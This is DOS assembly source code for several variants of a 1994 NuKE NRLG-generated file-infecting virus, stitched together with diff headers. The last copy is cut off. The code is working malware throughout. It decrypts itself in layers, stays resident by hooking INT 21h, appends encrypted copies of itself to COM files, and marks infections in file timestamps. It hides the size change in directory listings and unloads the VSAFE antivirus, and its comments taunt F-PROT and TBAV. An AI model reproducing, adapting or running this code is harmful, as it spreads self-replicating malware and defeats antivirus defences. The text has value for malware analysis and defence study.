;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿnot byte ptr [di]
inc byte ptr [di]
not byte ptr [di]
add byte ptr [di],020h
add word ptr [di],0f8eah
sub byte ptr [di],01h
inc byte ptr [di]
add byte ptr [di],049h
inc byte ptr [di]
xor word ptr [di],0165dh
sub byte ptr [di],03bh
sub byte ptr [di],0d0h
inc word ptr [di]
sub byte ptr [di],039h
inc byte ptr [di]
inc byte ptr [di]
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿdec byte ptr [di]
dec byte ptr [di]
add byte ptr [di],039h
dec word ptr [di]
add byte ptr [di],0d0h
add byte ptr [di],03bh
xor word ptr [di],0165dh
dec byte ptr [di]
sub byte ptr [di],049h
dec byte ptr [di]
add byte ptr [di],01h
sub word ptr [di],0f8eah
sub byte ptr [di],020h
not byte ptr [di]
dec byte ptr [di]
not byte ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
@@ -0,0 +1,444 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc word ptr [di]
add word ptr [di],08c7h
sub byte ptr [di],0c6h
add word ptr [di],0e613h
inc word ptr [di]
sub word ptr [di],05511h
not byte ptr [di]
xor word ptr [di],0ef35h
sub word ptr [di],03e9bh
inc word ptr [di]
add byte ptr [di],083h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿsub byte ptr [di],083h
dec word ptr [di]
add word ptr [di],03e9bh
xor word ptr [di],0ef35h
not byte ptr [di]
add word ptr [di],05511h
dec word ptr [di]
sub word ptr [di],0e613h
add byte ptr [di],0c6h
sub word ptr [di],08c7h
dec word ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
@@ -0,0 +1,444 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿadd byte ptr [di],097h
add byte ptr [di],03h
not word ptr [di]
inc byte ptr [di]
xor byte ptr [di],0a8h
add byte ptr [di],088h
xor byte ptr [di],068h
sub byte ptr [di],04ah
sub word ptr [di],06023h
xor word ptr [di],06e4ch
sub word ptr [di],04620h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
